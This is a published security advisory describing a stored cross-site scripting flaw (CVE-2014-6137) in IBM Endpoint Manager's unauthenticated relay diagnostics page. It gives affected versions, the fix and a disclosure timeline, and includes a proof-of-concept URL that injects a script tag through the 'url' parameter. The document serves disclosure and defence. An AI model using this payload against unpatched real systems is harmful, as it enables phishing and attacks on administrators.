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Cross-Site Scripting in IBM Endpoint Manager Relay Diagnostics Page

During a penetration test, RedTeam Pentesting discovered that the IBM Endpoint Manager Relay Diagnostics page allows anybody to persistently store HTML and JavaScript code that is executed when the page is opened in a browser.

Details

  • Product: IBM Endpoint Manager
  • Affected Versions: 9.1.x versions earlier than 9.1.1229, 9.2.x versions earlier than 9.2.1.48
  • Fixed Versions: 9.1.1229, 9.2.1.48
  • Vulnerability Type: Cross-Site Scripting
  • Security Risk: medium
  • Vendor URL: http://www-03.ibm.com/software/products/en/endpoint-manager-family
  • Vendor Status: fixed version released
  • Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-013
  • Advisory Status: published
  • CVE: CVE-2014-6137
  • CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6137

Introduction

IBM Endpoint Manager products - built on IBM BigFix technology - can help you achieve smarter, faster endpoint management and security. These products enable you to see and manage physical and virtual endpoints including servers, desktops, notebooks, smartphones, tablets and specialized equipment such as point-of-sale devices, ATMs and self-service kiosks. Now you can rapidly remediate, protect and report on endpoints in near real time.

(from the vendor’s homepage)

More Details

Systems that run IBM Endpoint Manager (IEM, formerly Tivoli Endpoint Manager, or TEM) components, such as TEM Root Servers or TEM Relays, typically serve HTTP and HTTPS on port 52311. There, the server or relay diagnostics page is normally accessible at the path /rd. That page can be accessed without authentication and lets users query and modify different information. For example, a TEM Relay can be instructed to gather a specific version of a certain Fixlet site by requesting a URL such as the following:

http://tem-relay.example.com:52311/cgi-bin/bfenterprise/
BESGatherMirrorNew.exe/-gatherversion
?Body=GatherSpecifiedVersion
&url=http://tem-root.example.com:52311/cgi-bin/bfgather.exe/actionsite
&version=1
&useCRC=0

The URL parameter url is susceptible to cross-site scripting. When the following URL is requested, the browser executes the JavaScript code provided in the parameter:

http://tem-relay.example.com:52311/cgi-bin/bfenterprise/
BESGatherMirrorNew.exe/-gatherversion
?Body=GatherSpecifiedVersion
&version=1
&url=http://"\>\<script\>alert(/XSS/)\</script\>
&version=1
&useCRC=0

The value of that parameter is also stored in the TEM Relay’s site list, so that the embedded JavaScript code is executed whenever the diagnostics page is opened in a browser:

$ curl http://tem-relay.example.com:52311/rd
[...]

<select NAME="url">
[...]
    <option>http://"><script>alert(/XSS/)</script></option>
</select>

Proof of Concept

http://tem-relay.example.com:52311/cgi-bin/bfenterprise/
BESGatherMirrorNew.exe/-gatherversion
?Body=GatherSpecifiedVersion&version=1
&url=http://"\>\<script\>alert(/XSS/)\</script\>
&version=1
&useCRC=0

Fix

Upgrade IBM Endpoint Manager to version 9.1.1229 or 9.2.1.48.

Security Risk

As the relay diagnostics page is typically not frequented by administrators and does not normally require authentication, it is unlikely that the vulnerability can be exploited to automatically and reliably attack administrative users and obtain their credentials.

Nevertheless, the ability to host arbitrary HTML and JavaScript code on the relay diagnostics page, i.e. on a trusted system, may allow attackers to conduct very convincing phishing attacks.

This vulnerability is therefore rated as a medium risk.

Timeline

  • 2014-07-29 Vulnerability identified during a penetration test
  • 2014-08-06 Customer approves disclosure to vendor
  • 2014-09-03 Vendor notified
  • 2015-01-13 Vendor releases security bulletin and software upgrade
  • 2015-02-04 Customer approves public disclosure
  • 2015-02-10 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de.